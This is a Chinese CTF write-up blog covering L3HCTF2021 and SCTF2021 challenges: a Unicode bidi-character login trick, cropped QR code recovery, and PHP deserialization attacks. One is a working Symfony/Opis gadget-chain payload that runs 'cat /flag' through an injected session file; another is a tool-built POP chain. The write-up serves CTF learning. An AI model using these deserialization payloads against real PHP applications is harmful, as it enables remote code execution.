期末考试基本考完了,分还没出,但是这学期课内学的时长就能提前预知到出分后的痛苦了。无论如何,要把之前欠的两次XCTF联赛的题解补上。
L3HCTF2021
or4nge战队获得了第21名的好成绩!
在这比赛先看了看cover那道java,找到一个json点,但可惜真的不会java,image service又是go的逆向,看着就难受,就去和pill0w师傅去看别的题了,做了一个其他的web和misc。
Easy PHP
看了题,这难道不是学ctf第一天的题??正常payload打过去显然不通,肯定有问题,疑点在于这个配色显然不对劲。
复制下来发现有特殊字符,那么问题显然出在这里:
RLO,LRI,PDI这三种特殊unicode控制字符,粘贴到vscode上能显示出这都是\u2066,\u202E,\u2069
\u202E会将字符串进行翻转,但是怎么翻的具体优先级还是很离谱,注意到这段话有12个unicode,其中每4个分为一组,分别是\u202e,\u2066,\u2069,\u2066,那我完全可以把\u202e+\u2066+str+\u2069+\u2066理解为一个新的str,拼起来就好了。
最终payload:
1 | ?username=admin&L3Hpassword=CTFl3hctf |
博客复制上去可能会丢失字符,直接看截图吧:
看了flag发现还是一个CVE,我直接震惊(不过知道了这技巧是不是就可以发一些话绕过bot的检测了)
cropped
(由于比赛wp鸽了俩月,浏览器记录被清理了,很多中间过程全部丢失,我现在在凭印象写题)
题目很简单,给了一个裁了一半多的二维码,让你还原,但可惜我对二维码一无所知,传唤misc手来也不是很懂,但可惜没有别的会的题了,那就硬啃二维码的原理,一定能啃出来。
这里推荐一些好用的学习资料:
https://merricx.github.io/qrazybox/ 在线绘图,还能自动分析,超级好用
https://coolshell.cn/articles/10590.html 二维码的生成原理与细节
https://www.swisseduc.ch/informatik/theoretische_informatik/qr_codes/docs/qr_standard.pdf 官方文档,一个大pdf
https://www.thonky.com/qr-code-tutorial/error-correction-coding 一个手把手教你画二维码的过程
在qrazybox上分析出这是一个33*33的二维码,属于V4,根据图片左上角的信息能推断出这个二维码是L级纠错,掩码类型是2。
从官方文档得知,这是L级纠错码,只能恢复7%的codeword。(最低级纠错码,感受到出题人的恶意了。)
然后我们继续分析V4二维码的结构:
像这个就是一个纠错登记非常高的二维码,右边的部分是数据部分,左边是纠错部分,每一个块包含8个格,也就是8bit,一个字节。
在线网站为我们的纠错码部分分了块,估计是右边缺的数据太多,无法分清了,虽然格式是固定的。
参考这张V3的图,我们往上填的就是类似这种的,从右下角出发,zig-zag的走,如果遇到非数据区,就绕开或者跳过。在碰壁的时候需要横着走4步。
然后我们需要分析数据区的编码方式了,二维码支持数字编码,字符编码,字节编码,日文编码什么的,位于官方手册的P24页:
然后这个题的话根据题目信息应该是字符信息,要么是字符就是字节,继续阅读,发现方式如下:mode indicators+长度+内容+padding。其中mode indicators长度为4bit,也就是说
右下角一个4个格,接下来8个格是长度,接下来每八个格就是具体内容了,我们从如下内容中能否获取关键信息呢?
每个块中间截后一半和下一个的前一半拼起来算ascii码,能发现神奇的东西:看到了http github l3hctf
结合题目信息,是把flag放在一个代码片段,就联想到了gist.github这个东西,自己尝试一下:
发现网址形如这种形式:https://gist.github.com/FYHSSGSS/59a4d122d44865b0b29d4cc51f9a258c
,域名后面跟着自己的用户名,之后是32位16进制。
所以这个二维码的内容就形如:https://gist.github.com/L3HCTF/********************************
,生成一个类似的二维码抄作业,得到这样的二维码:
其中中下部分每个块我都填了一个1,因为都是ascii码,第一位肯定是0。
接下来是padding部分,阅读官方手册,发现就是重复下面的两个bytes:11101100 00010001,网站已经智能把padding部分给我们留出来了,直接填就好。
可以看到这个二维码的基本已经快出来了,但只是看上去快出来的,但是最关键的中下部分的部分字符我们还是不得而知。
https://gist.github.com/L3HCTF/9*******4fdbba26********cad7d71e
,还有15个字符,硬爆显然不可能,我们需要针对左边剩余的纠错码进行尽可能的纠错。
然后跑去学纠错原理了,这里用的是里德-所罗门码,(赶紧回去翻上学期的信息论ppt简单复习一下纠错码的原理),纠错具体过程我跟了博客全程走了一遍,大约原理就是一个系数满足$GF(2^8)$的伽罗华域上运算的多项式环上的运算,做大除法什么的取余数什么的,过程细节即为恶心,我当时真的害怕不会是让我纯手撸一份这个代码吧,但也是有不少的爆破量,对于L级别的纠错来说还是太难了。
这时候就搜到了一个 reedsolo 的python库,太好了不用再重复造轮子了。
前往官网学习一下这个库的用法:https://pypi.org/project/reedsolo/
经测试发现,这个纠错能力好像远远大于二维码本身的纠错能力,允许出错的字节数只要小于等于纠错码的数量就能恢复出来。
数了一下,我们有25个不确定的块,所以我们只需要爆破那5个块恢复即可,当然有可能爆破有问题,恢复出来的网址是不可见字符,所以只要爆出全为不可见字符,并且范围均在0123456789abcdef之间即为答案。
本来应该爆的很快的,但是我写代码的时候已经神志不清了,之前做了一些优化剪枝觉得有问题,全给删了,采用的是最暴力的爆法,同时开了4个进程然后跑去睡觉了,睡了15分钟再来看发现就出了。
1 | letter = "1234567890abcdef" |
把拿到的数据库块翻译成网址。
1 | fp = open('res.txt', 'r') |
得到网址:
https://gist.github.com/L3HCTF/9a68efd54fdbba26372d0842cad7d71e
,进去就是flag。
哦对了,最后二维码长这样:
拿了个三血,跟二血就差一点,我的我的
SCTF2021
or4nge战队获得了第14名的好成绩!
先附上我们官方的wp:https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/
Upload it
可以任意上传/tmp目录下文件, 一开始没什么思路,但是利用给的Composer.json
:
1 | "symfony/string": "^5.3", |
结合出题人发布的文章https://www.anquanke.com/post/id/217929#h2-3找到一条链,其中lazystring的任意无参数函数调用接的是闭包函数__invoke
,可以将闭包函数序列化进去。
1 |
|
其实这条链本地没有打通,原因是因为在UnicodeString.php
里,对$this->string
进行了限制1
2
3
4
5
6
7
8 public function __wakeup()
{
if (!\is_string($this->string)) {
throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
这个先不是担心的点,现在问题是反序列化点在哪,phpinfo条件没用上,哪里能反序列化呢?
后来因为我们tmp目录任意文件写,可以直接写进session文件。查看phpinfo发现session 的处理器是php,于是可以把upload_path|$serialize
写进/tmp/sess_or4nge
,然后改自己的session_id
为or4nge,即可触发反序列化。
那个__wakeup防了一处怎么办呢?猜到出题人以前发布在安全客的,万一远程能通呢,直接盲打过去,居然RCE成功了。
1 | or4nge|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D |
Upload it 2(*)
属于是看了exp后想砸桌子的题。
两道题唯一的区别就是closure没了,改成了一个自己写的类,看起来很好利用,但是没想到在wakeup处被偷袭了一手,直接抛异常了。于是我们就想方设法去绕过`wakeup`,无果,直接开摆。
看完题解后发现poc和我写的完全一样,人家触发反序列化的时候走的不是weakup,是sleep。其实上一题题目的flag也说了是一个sleep_chain,但当时我没注意,pill0w说有么有可能是触发sleep,但我觉得这也太反人类了,为什么在反序列化的时候会触发序列化呢??
看了官方wp也没说为什么会触发,我也不懂,但是这次收获了一个惨痛的教训,以后无论如何,先要盲打远程。
FUMO on the Christmas tree
强网杯pop_master魔改的题,记得当时正好还在考六级,那道题用的最暴力的做法,正则提取类的名字,属性,变量什么的,正则写的巨恶心,导致污点没法分析,然后我暴力dfs跑出一堆链,其中这些链99.9%都是被污染过的,但没办法,于是对这几百个链暴力建pop链暴力本地跑看能不能rce,我记得跑了一个多小时才行,总之就特别特别离谱。
时隔六月,碰到了一个更加阴间的题目,做法肯定要变了,参考了强网杯的题解,我们的方法之所以恶心,就是因为正则,如果我们能针对这份静态代码构建语法树,就能缕清整个代码逻辑了,然后想要什么就能拿什么了,污点分析也能顺便处理了。
这里就用到了PhpParser神奇的东西,能自动分析,下面我们就来学习一下怎么分析语法树拿下来的结果吧。
1 | foreach ($stmts as $k => $class_point) { |
其中第一层的$class_point
的形如:$class_point
里有name
,stmts
,attrGroups
.
$class_point->name->name
可以获得每个类的名字
针对stmts
进行遍历,能得到类内部的资料:注释里的方法都是通过$subpoint->gettype()
得到的)
1 | class Titanic{ |
然后我们打印一下$subpoint->name
,发现针对Stmt_Property
都是NULL,如果是Stmt_ClassMethod
就是函数的名称,通过$subpoint->name->name
获得。
下面我开始分析每个函数内部的结构
1 | var_dump($subpoint->name->name); |
拿到每个函数的名字以及参数,因为这个题基本每个函数都是一个参数,有几个特例:
- __destruct 那个是入口点
- __call 昨天已验证可以改写成一个参数
- __invoke 只有一个参数这样分析函数内部所有语句,还是分为这几类:
1
2
3foreach ($subpoint->stmts as $kkk => $method_point) {
}Stmt_If
,Stmt_Expression
,没有for
,那我就挨个分析每种语句了。 Stmt_Expression
:
赋值的变量名
1 | $method_point->expr->expr->var->name |
赋值的函数名:1
$method_point->expr->expr->expr->name->parts[0]
赋值函数参数:1
$method_point->expr->expr->expr->args[0]->value->name
还需要考虑这种特殊情况:1
@$oEFgIl4 = $oEFgIl4;
这种情况,赋值的东西就是:1
$method_point->expr->expr->expr->name
Stmt_If
:
一般Stmt_If
只有一个语句,我们拿stmts
的[0]即可。
1 | $method_point->stmts[0] |
然后我们分析这种类似的语句:1
$this->PKnKwkRo->rUC0bOsf($l3VwfSUx9Y);
他进行了一个递归处理:1
($this->PKnKwkRo)->rUC0bOsf($l3VwfSUx9Y);
前面的括号可以用这种表示:1
$method_point->stmts[0]->expr->expr->var
拿到this
:1
$method_point->stmts[0]->expr->expr->var->var->name
拿到this后用的对象:PKnKwkRo
1
$method_point->stmts[0]->expr->expr->var->name->name
括号后面的方法名称:rUC0bOsf
1
$method_point->stmts[0]->expr->expr->name->name
语法树解析完毕,
然后我们需要把__call
,__invoke
给处理了,我第一直觉是要解决通配符,但是仔细分析发现想复杂了,这其实就是一种正常的边换了一种形式而已。
最后是污点分析,我们拿到了所有方法汇总:
strrev,base64_decode,base64_encode,sha1,str_rot13,ucfirst,md5,crypt
对于md5,crypt,sha1这种单向函数是不可逆向的,直接pass掉,然后在debug过程中发现ucfirst和base64_encode也会让事情变得更复杂,也不要他们。
然后就开始了无脑的码农时间。。。
首先是对__invoke
和__call
的魔术方法的类进行改写,全部能改写为正常的形式:
1 | import re |
在最终代码里手动把namespace christmasTree
里去掉,之后进行PHP_Parser对这份代码进行语法树构建分析:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
ini_set('memory_limit', '1024M');
require 'C:\Users\FYHSSGSS\vendor\autoload.php';
error_reporting(0);
use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;
$inputPhpFile = 'final_class.txt';
$code = file_get_contents($inputPhpFile);
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$stmts = $parser->parse($code);
} catch (Error $e) {
echo "Parse error:{$e->getMessage()}\n";
exit(0);
}
echo "[+] get file done\n";
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;
$class_num = 0;
$func_list = array();
$fp = fopen("function_list.txt", "wb");
$fo = fopen("deploy_list.txt", "wb");
$fd = fopen("destination.txt", "wb");
foreach ($stmts as $k => $class_point) {
if ($class_point->gettype() === 'Stmt_Nop')
continue;
if ($class_point->gettype() === 'Stmt_Class'){
$class_name = $class_point->name->name;
$class_num++;
foreach ($class_point->stmts as $kk => $subpoint) {
if ($subpoint->gettype() === 'Stmt_Nop')
continue;
if ($subpoint->gettype() === 'Stmt_Property') {
;
}
if ($subpoint->gettype() === "Stmt_ClassMethod") {
$func_name = $subpoint->name->name;
if ($func_name === '__destruct') {
$entrance = $class_name;
break;
}
if (!$subpoint->params) {
continue;
}
$parms = $subpoint->params[0]->var->name;
fwrite($fp, $class_name.' '.$func_name."\n");
$pass_way = "pass";
foreach ($subpoint->stmts as $kkk => $method_point) {
if ($method_point->gettype() === 'Stmt_Expression') {
$assign_1 = $method_point->expr->expr->var->name;
$use_func = $method_point->expr->expr->expr->name->parts[0];
$assign_2 = $method_point->expr->expr->expr->args[0]->value->name;
if($use_func === null) {
$assign_2 = $method_point->expr->expr->expr->name;
$use_func = "pass";
}
else {
$func_list[$use_func] = 1;
}
if($assign_1 !== $assign_2) break;
$pass_way = $use_func;
if(in_array($pass_way, array("sha1", "md5", "crypt"))) {
break;
}
} else if($method_point->gettype() === 'Stmt_If') {
if ($method_point->stmts[0]->expr->name->parts[0] == "readfile") {
fwrite($fd, $class_name.' '.$func_name.' '.$parms."\n");
break;
}
$use_obj = $method_point->stmts[0]->expr->expr->var->name->name;
$use_func = $method_point->stmts[0]->expr->expr->name->name;
fwrite($fo, $class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way."\n");
}
}
}
}
}
}
echo '[+] filter done' . "\n";
echo $entrance;
fclose($fp);
fclose($fo);
构建把所有类的名称,函数, 终点的类的函数,以及函数调用关系分别存储起来。
其中有一些污点过滤,比如md5,sha1,ucfirst,crypt的调用直接无视,赋值两边参数不等的也直接无视,另外发现base64解码的时候出现的不可见字符也会对后面产生影响,故把所有进行base64_decode
部分全部剪掉。
然后手动加一下__destruct
在文件里,把这三个文件放在一起,然后用C语言寻找可行链。
1 |
|
刚好只有一条可行链,倒序打印链:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20AN9pNsmlT Fhh5TZoD0
Ugh4SYk00D bLqi60vf tQF7ER str_rot13
xEFW8yw08 gvgCPyi nYuAuh2 str_rot13
Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass
d9vgRnlEA trZx9DLGq T4rUU9R base64_decode
Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev
T6Y5QYS GP5h5gz p9mwE7l str_rot13
SKVnfvfbas gkbXYD UOvWbl pass
o5d0ioNZ vBmg2S exGoDOPm str_rot13
FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass
eHSt3I5L30 YbMfp8D9 exoEH1 pass
c76So3oF EttYcl6 cwQWOIEL strrev
u1q3m04qZb EtQ6pQB NGIlAGGLv pass
xT506K QiVLzL Dblxvn pass
p6NArTi YgmXN30 VbpsE7wqUH base64_decode
ezlgUUHCdQ lwUpo3 fDViVU pass
uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode
GGcIkQ6E a2l0Eeqr CK5OgoyC strrev
vS1qenzGWr kR5Y66g yrVWMn9 pass
amg2Vw __destruct PCR49GlRM pass
根据上述链的写脚本构造poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29fp = open('popchain.txt', 'r')
fo = open('poc.php', 'w')
fo.write('<?php\nnamespace christmasTree{\n')
line_list = []
for line in fp.readlines():
line = line.replace('\n', '')
line_list.append(line)
line_list = line_list[::-1]
for i, line in enumerate(line_list[:-1]):
class_name, func_name, use_obj, _ = line.split(' ')
if i == 0:
start_point = class_name
next_name = line_list[i + 1].split(' ')[0]
print(class_name, func_name, use_obj, next_name)
payload = '''class %s{
public $%s;
public function __construct(){
$this->%s = new %s();
}
}
''' % (class_name, use_obj, use_obj, next_name)
fo.write(payload + '\n')
class_name, func_name = line_list[-1].split(' ')
payload = '''class %s{
public $%s;
}
''' % (class_name, use_obj)
fo.write(payload + '\necho urlencode(serialize(new %s()));}' % start_point)
print(class_name, func_name)
生成的poc不能直接打通,因为要求类内所有public属性都要进行赋值,对生成的poc还需要手动修改,对未利用的对象赋为stdClass()
.
最终的poc:
1 |
|
同时对pop链中的所有编码过程进行逆向,得到最终要进行读/fumo
的编码结果:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$fp = fopen("popchain.txt", "r");
$payload = '/fumo';
$line = fgets($fp);
$list = array();
while(! feof($fp)) {
$line = fgets($fp);//fgets()函数从文件指针中读取一行
array_push($list, trim($line));
$line = trim(explode(" ",$line)[3]);
echo $line."\n";
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_encode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload."\n";
$list = array_reverse($list);
foreach($list as $line){
$line = explode(" ",$line)[3];
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_decode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload;
fclose($fp);
最终序列化链:1
O%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D
然后调用的参数:9ADRPhlSX1UYKREV
即可读到/fumo
fumo xor cli
nc 远程发现是通过五颜六色的字符打印出一个 gif,肉眼发现有两帧不一样,把 nc 到的字节流重定向到本地文件,然后手动把这两帧提取出来,都是 50*133
个字符的,结合题意是xor,尝试rgb异或,本以为是个东西,结果啥也不是,完全不会了,这题放弃了。
大半夜的,pill0w无意间发现链接的公众号推送的最后一张图有异样,下载原图,仔细观察发现:
有规律的藏有五颜六色的像素,提取出来,发现是 133*100
的,把这个拆成两个 50*133
,然后都旋转为正的,将 4 张 50*133
的图异或,发现大部分都是 (0,0,0),部分是三个一样的,再经过一些简单的图片处理,得到flag。
全程处理数据的脚本:
1 | from PIL import Image |
当时看到公众号就直接无视了,真没想到这最后一张图居然有问题。。。。
cubic(*)
大半夜看的这题,san值基本掉光了,当时已经把这题做法口糊出来了,但是因为各种脑残问题没搞出来。